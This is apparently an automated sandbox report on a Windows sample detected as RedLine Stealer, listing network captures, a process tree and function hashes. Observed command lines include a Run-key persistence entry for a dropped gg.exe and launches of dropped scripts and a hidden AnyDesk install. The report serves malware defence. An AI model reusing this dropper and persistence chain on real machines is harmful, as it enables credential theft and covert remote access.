1	192.168.2.4	49734	64.31.23.30	80	8108	C:\ProgramData\WinNet\AnyDesk.exe

Timestamp	Bytes transferred	Direction	Data
Mar 3, 2024 13:43:07.672868013 CET	273	OUT	Data Raw: 16 03 01 01 0c 01 00 01 08 03 03 ca 67 7b eb 66 e4 14 bc 08 5b c0 fa 48 8f e6 2b 6d 51 37 2d e5 d1 12 5d cd cc 7c 99 47 c1 56 cf 00 00 6e c0 30 c0 2c c0 28 c0 24 c0 14 c0 0a 00 a5 00 a3 00 a1 00 9f 00 6b 00 6a 00 69 00 68 00 39 00 38 00 37 00 36 Data Ascii: g{f[H+mQ7-]\|GVn0,($kjih98762.*&=5/+'#g@?>32101-)%</q#
Mar 3, 2024 13:43:07.762826920 CET	1286	IN	Data Raw: 16 03 03 00 57 02 00 00 53 03 03 4a e9 cf 9c 28 ac 75 5a a0 7a 46 40 fc 63 67 11 9d 2b 84 c4 96 2f 1d a3 44 4f 57 4e 47 52 44 01 20 af 8b cf 1e bf 0d 6c d2 88 b3 ef 08 f4 f4 52 00 44 47 bd 74 20 86 aa b8 86 ba bc cc c2 a2 b7 a7 c0 2c 00 00 0b ff Data Ascii: WSJ(uZzF@cg+/DOWNGRD lRDGt ,C0?0'0vtS$0*H0H10UAnyNet Root CA1 0Uphilandro Software GmbH10UDE0181118021423Z281115021
Mar 3, 2024 13:43:07.762885094 CET	1286	IN	Data Raw: 5a eb 51 2f 97 bf f6 fb 33 27 90 b3 d8 e4 e0 cd 68 3b 6a 87 6c a6 0d e7 d8 bd 61 df 56 6b 2a e1 1c 2b f5 9f bf 85 dd 8c 5b 06 1e 71 7f ba 4a a6 40 b0 77 17 ea 2c 3f 5b 94 14 85 2e ad 11 61 ab 88 f6 01 bb b3 47 6b e2 81 18 f1 8e 39 e6 d8 7b 0c 63 Data Ascii: ZQ/3'h;jlaVk*+[qJ@w,?[.aGk9{cpu'-5={{Hy8-&~K2vf/bj@kXScuxI#ph3/L^}a}4AkP+g_R4gs@lo67Jv"rR}uMU#[~.K_e
Mar 3, 2024 13:43:07.762897015 CET	44	IN	Data Raw: 68 69 6c 61 6e 64 72 6f 20 53 6f 66 74 77 61 72 65 20 47 6d 62 48 31 0b 30 09 06 03 55 04 06 13 02 44 45 16 03 03 00 04 0e 00 00 00 Data Ascii: hilandro Software GmbH10UDE
Mar 3, 2024 13:43:07.773207903 CET	1094	OUT	Data Raw: 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 82 02 a8 30 82 01 90 02 01 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 19 31 17 30 15 06 03 55 04 03 0c 0e 41 6e 79 44 65 73 6b 20 43 6c 69 65 6e 74 30 20 17 0d 32 34 30 33 30 33 31 32 34 33 Data Ascii: 000H010UAnyDesk Client0 240303124305Z20740219124305Z010UAnyDesk Client0"0H0=Xiu1L=26mDi~nc$k$7KL1r4N<\33S fge
Mar 3, 2024 13:43:07.861203909 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 e9 b0 f7 bb 44 e6 10 cb 6b 51 d0 79 f0 57 e8 b9 0f 91 6a 14 84 f2 52 47 ce 8f 5d 10 90 2e 26 29 a9 2e 70 5c 63 73 a4 d6 Data Ascii: (DkQyWjRG].&).p\cs
Mar 3, 2024 13:43:07.861332893 CET	40	IN	Data Raw: 17 03 03 00 23 e9 b0 f7 bb 44 e6 10 cc 5e 3c 7a 1b 92 5e a1 40 6a f5 2b 63 71 ee 24 7b 74 77 d8 61 4b cd 2d 82 35 dd 6a Data Ascii: #D^<z^@j+cq${twaK-5j
Mar 3, 2024 13:43:07.867763042 CET	92	OUT	Data Raw: 17 03 03 00 57 56 f4 99 44 cb aa 07 1a d7 4a 6c 7f ba d3 05 e7 60 e0 83 de d9 32 45 cf 15 d6 f9 96 db a8 a9 02 f1 b5 ed 3e 32 8d 13 22 7c 95 f1 44 7c 82 6e 65 f3 de 7c 03 13 51 7b f7 7d 8b a7 cf 28 78 ef ac c2 14 b2 82 70 0a 0f e3 c8 13 28 2f a5 Data Ascii: WVDJl`2E>2"\|D\|ne\|Q{}(xp(/\@#3
Mar 3, 2024 13:43:08.124058962 CET	146	IN	Data Raw: 17 03 03 00 8d e9 b0 f7 bb 44 e6 10 cd a6 8e e2 3b 8f 02 44 81 e2 87 ee cc 7a c2 38 9b 05 db 52 2e 29 60 c8 0a 06 5e b3 71 c6 60 23 0e 52 ee 6e ba 59 5a 8a 82 cd 4e bd 4e 93 e3 22 2f ee c6 3d 15 4f fd 46 73 77 bb be ac a9 2a ee 1a 43 57 8c 5f b8 Data Ascii: D;Dz8R.)`^q`#RnYZNN"/=OFsw*CW_/wyc>'Zod2wkl/n.=A/Zv7\|.~f
Mar 3, 2024 13:43:08.169456005 CET	576	OUT	Data Raw: 17 03 03 02 3b 56 f4 99 44 cb aa 07 1b a0 bf 39 5f 5d fa 33 d3 57 bd 6d a6 78 70 2f 48 ed 5a aa 2d f8 99 67 e3 af 46 74 a0 e6 1f ef 14 d2 be 9a 81 c5 f0 78 fd 7f 96 b1 45 4b 1d f4 01 dd 90 d2 83 ca 50 a0 3d fc 36 f8 67 29 8e 68 12 67 1e 3f 57 01 Data Ascii: ;VD9_]3Wmxp/HZ-gFtxEKP=6g)hg?WG<lKz8jc5z]Kr?oad~isu>_uvsFp@)8&=Lx<eBwj >p[FNh(W(w%Mb~35#8;xkZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	18.173.219.116	80	8108	C:\ProgramData\WinNet\AnyDesk.exe

Timestamp	Bytes transferred	Direction	Data
Mar 3, 2024 13:43:09.677999973 CET	506	OUT	POST /httpapi HTTP/1.1Host: api.playanext.comUser-Agent: AnyDesk/8.0.8Accept: /Content-Length: 352Content-Type: application/x-www-form-urlencodedapi_key=c1426bd258099fa69f62933b466d4b77&event=[{"event_type":"check_offer","user_id":"db0d1542804f0aa5d1ce823eaac0ccac","session_id":1709469788715058,"ip":"$remote","event_properties":{"method_used":"Google Chrome Criteria Checker","offer_product":"Google Chrome","distributor":"AnyDesk","distributor_product":"AnyDesk","user_country":"Switzerland"}} Data Raw: Data Ascii:
Mar 3, 2024 13:43:09.836528063 CET	620	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Length: 0 Connection: keep-alive Date: Sun, 03 Mar 2024 12:43:09 GMT x-amzn-RequestId: 57fcf501-3fd2-4769-9aa9-ddb538e6fa63 x-amz-apigw-id: UDZ-sEGIoAMETdQ= X-Amzn-Trace-Id: Root=1-65e4705d-5a15b29a5ef343ba4e7244af;Parent=58397a9aaf237937;Sampled=0;lineage=d7502c8f:0 Via: 1.1 b88fe06cb643513c120238beec43283e.cloudfront.net (CloudFront), 1.1 a4edf08fb593b7ca4fee9a64018a186e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P4 X-Cache: Miss from cloudfront X-Amz-Cf-Pop: JFK52-P1 X-Amz-Cf-Id: 8FHquIqPozjfCl8wKJeaVkIxdPamKcncu15VkdMvpyNNz0kCgKQzpA==

Target ID:	0
Start time:	13:42:58
Start date:	03/03/2024
Path:	C:\Users\user\Desktop\SysrI6zSkJ.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\SysrI6zSkJ.exe
Imagebase:	0x7ff752f70000
File size:	21'906'944 bytes
MD5 hash:	2E501240EC8B9AAB46D76A6504E44882
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000003.2259823166.000001589E200000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	13:42:59
Start date:	03/03/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Repository /t REG_SZ /F /D C:\ProgramData\WinNet\gg.exe
Imagebase:	0x7ff7a7570000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:42:59
Start date:	03/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\WinNet\embedded.exe
Imagebase:	0x7ff64f630000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	13:42:59
Start date:	03/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:42:59
Start date:	03/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\WinNet\p.vbs
Imagebase:	0x7ff64f630000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:42:59
Start date:	03/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:42:59
Start date:	03/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:42:59
Start date:	03/03/2024
Path:	C:\ProgramData\WinNet\embedded.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\WinNet\embedded.exe
Imagebase:	0x7ff79f280000
File size:	12'371'456 bytes
MD5 hash:	DB408CB75C1D0DA769C19A6CBBE60D87
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000007.00000002.3477005535.0000022F0BB80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_EXEembeddedinBATfile, Description: Yara detected EXE embedded in BAT file, Source: C:\ProgramData\WinNet\embedded.exe, Author: Joe Security
Antivirus matches:	Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	13:42:59
Start date:	03/03/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\ProgramData\WinNet\p.vbs"
Imagebase:	0x7ff6419f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:42:59
Start date:	03/03/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Repository /t REG_SZ /F /D C:\ProgramData\WinNet\gg.exe
Imagebase:	0x7ff7a7570000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:42:59
Start date:	03/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\WinNet\AnyDesk.exe
Imagebase:	0x7ff64f630000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	13:42:59
Start date:	03/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:43:00
Start date:	03/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\WinNet\p.vbs
Imagebase:	0x7ff64f630000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 7744, Parent PID: 7712

General

Target ID:	13
Start time:	13:43:00
Start date:	03/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	13:43:00
Start date:	03/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:43:00
Start date:	03/03/2024
Path:	C:\ProgramData\WinNet\gg.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\WinNet\gg.exe"
Imagebase:	0xd60000
File size:	304'128 bytes
MD5 hash:	20AB063F206EB8115FDE1479E05C245E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000F.00000000.1644111512.0000000000D62000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.1905680590.0000000003616000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\ProgramData\WinNet\gg.exe, Author: Joe Security
Antivirus matches:	Detection: 71%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:43:00
Start date:	03/03/2024
Path:	C:\ProgramData\WinNet\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\WinNet\AnyDesk.exe
Imagebase:	0xca0000
File size:	5'216'584 bytes
MD5 hash:	A21768190F3B9FEAE33AAEF660CB7A83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	13:43:00
Start date:	03/03/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\ProgramData\WinNet\p.vbs"
Imagebase:	0x7ff6419f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: gg.exePID: 8008, Parent PID: 7928

General

Target ID:	18
Start time:	13:43:01
Start date:	03/03/2024
Path:	C:\ProgramData\WinNet\gg.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\WinNet\gg.exe"
Imagebase:	0xb40000
File size:	304'128 bytes
MD5 hash:	20AB063F206EB8115FDE1479E05C245E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:43:02
Start date:	03/03/2024
Path:	C:\ProgramData\WinNet\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\WinNet\AnyDesk.exe" --local-service
Imagebase:	0xca0000
File size:	5'216'584 bytes
MD5 hash:	A21768190F3B9FEAE33AAEF660CB7A83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	13:43:03
Start date:	03/03/2024
Path:	C:\ProgramData\WinNet\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\WinNet\AnyDesk.exe" --local-control
Imagebase:	0xca0000
File size:	5'216'584 bytes
MD5 hash:	A21768190F3B9FEAE33AAEF660CB7A83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	13:43:13
Start date:	03/03/2024
Path:	C:\ProgramData\WinNet\gg.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\WinNet\gg.exe"
Imagebase:	0xe70000
File size:	304'128 bytes
MD5 hash:	20AB063F206EB8115FDE1479E05C245E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000002.2056075495.0000000003165000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000015.00000002.2056075495.0000000003165000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:43:23
Start date:	03/03/2024
Path:	C:\ProgramData\WinNet\gg.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\WinNet\gg.exe"
Imagebase:	0x3d0000
File size:	304'128 bytes
MD5 hash:	20AB063F206EB8115FDE1479E05C245E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000002.2127671016.0000000002895000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000017.00000002.2127671016.0000000002895000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Function 000001589FCCD448 Relevance: .8, Instructions: 802COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3479845439.000001589FCB4000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001589FCB4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1589fcb4000_SysrI6zSkJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf2fe28fef598741c2ecf4e55fd315f86f7e88fc84d962f22dc4bae8e59b4267
Instruction ID: a2bcbc8794c4ac0b82420a32f0f553839830cd106489964b1c74cc9fe630c172
Opcode Fuzzy Hash: cf2fe28fef598741c2ecf4e55fd315f86f7e88fc84d962f22dc4bae8e59b4267
Instruction Fuzzy Hash: D7424430628E19CFDB9DEF5CC8C4BA9B7E0FB98309F144959D469E7691CA31E8419BC0

Uniqueness

Uniqueness Score: -1.00%

Function 000001589FCCD7AB Relevance: .5, Instructions: 460COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3479845439.000001589FCB4000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001589FCB4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1589fcb4000_SysrI6zSkJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8b877085ef47692e568aa4d8d3fcbee17eef3d3e509e95cbe048a70e8427783
Instruction ID: d8e7f86e88dadbed96ee3773609780055e0123af753aaf28e2f7a6b22c734698
Opcode Fuzzy Hash: d8b877085ef47692e568aa4d8d3fcbee17eef3d3e509e95cbe048a70e8427783
Instruction Fuzzy Hash: E1F15030628E19CFDB99DB1CC885BA9B7E0FB98309F144959D4A9F7291CA31F841DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 000001589FCC569C Relevance: .8, Instructions: 827COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3479845439.000001589FCB4000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001589FCB4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1589fcb4000_SysrI6zSkJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b66ff16af40232d7f2436a78117914e1098167ff2c971068d68cfdf4187609c
Instruction ID: 9e5babca65ac8a0adfc69a318f98e4b9a19ac62d848cbb8fcbead92e9e5d2c5d
Opcode Fuzzy Hash: 0b66ff16af40232d7f2436a78117914e1098167ff2c971068d68cfdf4187609c
Instruction Fuzzy Hash: D1520D30628F09CFDB88EF59C8C9BA9B7E0FBA8705F504A5D9559D7251CB31B841CB81

Uniqueness

Uniqueness Score: -1.00%

Function 000001589FCD2328 Relevance: .8, Instructions: 773COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3479845439.000001589FCB4000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001589FCB4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1589fcb4000_SysrI6zSkJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23b44aa292820013d320316acf97590cd588a90dc143f171c35868205d26e301
Instruction ID: ecba246168be91b5f74e018a8528b3bb697f1bde4d8a90e42f83a15595d3093f
Opcode Fuzzy Hash: 23b44aa292820013d320316acf97590cd588a90dc143f171c35868205d26e301
Instruction Fuzzy Hash: 33425430628D1DCFDBA9EB6CC884BF9B3E0FB98309F544559D45DE7692CA31E8419B80

Uniqueness

Uniqueness Score: -1.00%

Function 000001589FCC5EEC Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3479845439.000001589FCB4000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001589FCB4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1589fcb4000_SysrI6zSkJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f6e2d5081d89460c3dca1a952d53b67a908dd308cf6f5b21d6a8310c3104190
Instruction ID: c9d1b26b9c9cc1a4a1416a7fc9629d6fc00ef0abfcee98d6e59e379099e92714
Opcode Fuzzy Hash: 4f6e2d5081d89460c3dca1a952d53b67a908dd308cf6f5b21d6a8310c3104190
Instruction Fuzzy Hash: 0FA11030518E19CFDB98EF5DC8C5AA9B7E0FBA8309F114959D559E7652CA30F840DB80

Uniqueness

Uniqueness Score: -1.00%

Function 000001589FCF7110 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3479845439.000001589FCB4000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001589FCB4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1589fcb4000_SysrI6zSkJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1cb660ab3de78909866a30e2d998f022914bc6aac7eafa72df001fea3eae98d
Instruction ID: 429e29232b27a2110e73ac250abaeaa79ad6680b2b79b40d5aa3e16ffc6cc318
Opcode Fuzzy Hash: b1cb660ab3de78909866a30e2d998f022914bc6aac7eafa72df001fea3eae98d
Instruction Fuzzy Hash: CC417430524E1DCFDB98EF68C8857B9B7E0FBD830AF108959A46DE7652DA30E4408BC1

Uniqueness

Uniqueness Score: -1.00%

Function 000001589FCB84D4 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3479845439.000001589FCB4000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001589FCB4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1589fcb4000_SysrI6zSkJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d073ea6415d0db3c17bdc8a98aebfe16329abf3a99ce1380e324cf6d63500e2d
Instruction ID: 10305e007eaeeddb0c437cdf17736d8717876418312f26ea6bdd63f7e67a2700
Opcode Fuzzy Hash: d073ea6415d0db3c17bdc8a98aebfe16329abf3a99ce1380e324cf6d63500e2d
Instruction Fuzzy Hash: 6C41723181CF848BE3194B5C9846BB6B3E4FBAD308F04970DE9DE91052DF71B5A68686

Uniqueness

Uniqueness Score: -1.00%

Function 000001589FCD5936 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3479845439.000001589FCB4000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001589FCB4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1589fcb4000_SysrI6zSkJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0eaa389417a297514ba406972abe5c67d5c474a303992de1aae04ac59a65431
Instruction ID: 762501f45471ff6564f1e4e06be27035f28b379d5a418c065dd0b3b4d71d4c02
Opcode Fuzzy Hash: d0eaa389417a297514ba406972abe5c67d5c474a303992de1aae04ac59a65431
Instruction Fuzzy Hash: C5411F30618E188FDB98EF1DD4C1FB573E1EBA8319F50499DD48DD7692CA32E8528B81

Uniqueness

Uniqueness Score: -1.00%

Function 000001589FCCAF34 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3479845439.000001589FCB4000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001589FCB4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1589fcb4000_SysrI6zSkJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ddf099b04ed4c520c7181b7dabb50bf80a25656aa7a09b37d330ab1ef30c892
Instruction ID: a65241ff47569fe1904ef06127a3b66bfac4e7f56391c86053b95d99583311e4
Opcode Fuzzy Hash: 6ddf099b04ed4c520c7181b7dabb50bf80a25656aa7a09b37d330ab1ef30c892
Instruction Fuzzy Hash: 96410170628E19CFDB98EF58C885BBDB7E1FB98305F1088599469D7656CA30E8408B81

Uniqueness

Uniqueness Score: -1.00%

Function 000001589FCEDB34 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3479845439.000001589FCB4000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001589FCB4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1589fcb4000_SysrI6zSkJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b51a92f09b4acb07c4ffd6f45a2083d73a9e01bd2c3bef09065cd94cd88a9648
Instruction ID: c137f03d046f0292ffc171835f075efb1e775d45c9f88692366c22e4e6bb4f6b
Opcode Fuzzy Hash: b51a92f09b4acb07c4ffd6f45a2083d73a9e01bd2c3bef09065cd94cd88a9648
Instruction Fuzzy Hash: E2311830228E09CFDB98EF18D8C5AA9B7E0FBA8705F004659E459D7652DB30F850CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 000001589FCEDA54 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3479845439.000001589FCB4000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001589FCB4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1589fcb4000_SysrI6zSkJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5da719434b85376a9c3353510d37723e1c2281e201ff7781b00b3def157fba24
Instruction ID: 986e94dcb6090da018439fe2456dc3a76e1ccfb1daebf03c7b6caed1ac8d65bb
Opcode Fuzzy Hash: 5da719434b85376a9c3353510d37723e1c2281e201ff7781b00b3def157fba24
Instruction Fuzzy Hash: 5B313A70618E19CFCB98EF19C4C5AAAB7E1FBAC705F00855DE45DD76A2CA30E8408BC1

